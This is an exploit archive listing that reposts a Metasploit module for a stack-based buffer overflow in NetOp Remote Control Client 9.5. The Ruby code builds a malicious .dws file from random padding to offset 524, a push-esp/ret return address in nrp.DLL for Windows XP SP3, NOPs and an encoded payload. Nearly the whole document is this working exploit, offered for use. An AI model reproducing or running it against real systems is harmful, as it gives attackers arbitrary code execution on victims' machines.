Author

metasploit

Risk

[

Security Risk Critical

]

0day-ID

0day-ID-17936

Category

remote exploits

Date add

04-04-2012

Platform

windows

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'NetOp Remote Control Client 9.5 Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack-based buffer overflow in NetOp Remote Control 9.5.
                When opening a .dws file containing a specially crafted string longer then 520
                characters will allow an attacker to execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Ruben Alejandro "chap0"',
                ],
            'References'     =>
                [
                    [ 'OSVDB', '72291' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/17223/' ]
                ],
            'DefaultOptions' =>
                {
                    'ExitFunction' => 'process',
                    'DisablePayloadHandler' => 'true'
                },
            'Platform'       => 'win',
            'Payload'        =>
                {
                    'Space' => 2000,
                    'BadChars' => "\x00\x0a\x0d",
                    'DisableNops' => true,
                    'StackAdjustment' => -3500
                },
            'Targets'        =>
                [
                    [ 'Windows XP SP3',
                        {
                            'Ret' => 0x20d6c32c,  # push esp #  ret  - nrp.DLL
                            'Offset' => 524
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Apr 28 2011',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.', 'msf.dws']),
            ], self.class)
 
    end
 
    def exploit
        buffer =  rand_text(target['Offset'])
        buffer << [target.ret].pack('V')
        buffer << make_nops(30)
        buffer << payload.encoded
 
        file_create(buffer)
    end
 
end



#  0day.today [2024-12-26]  #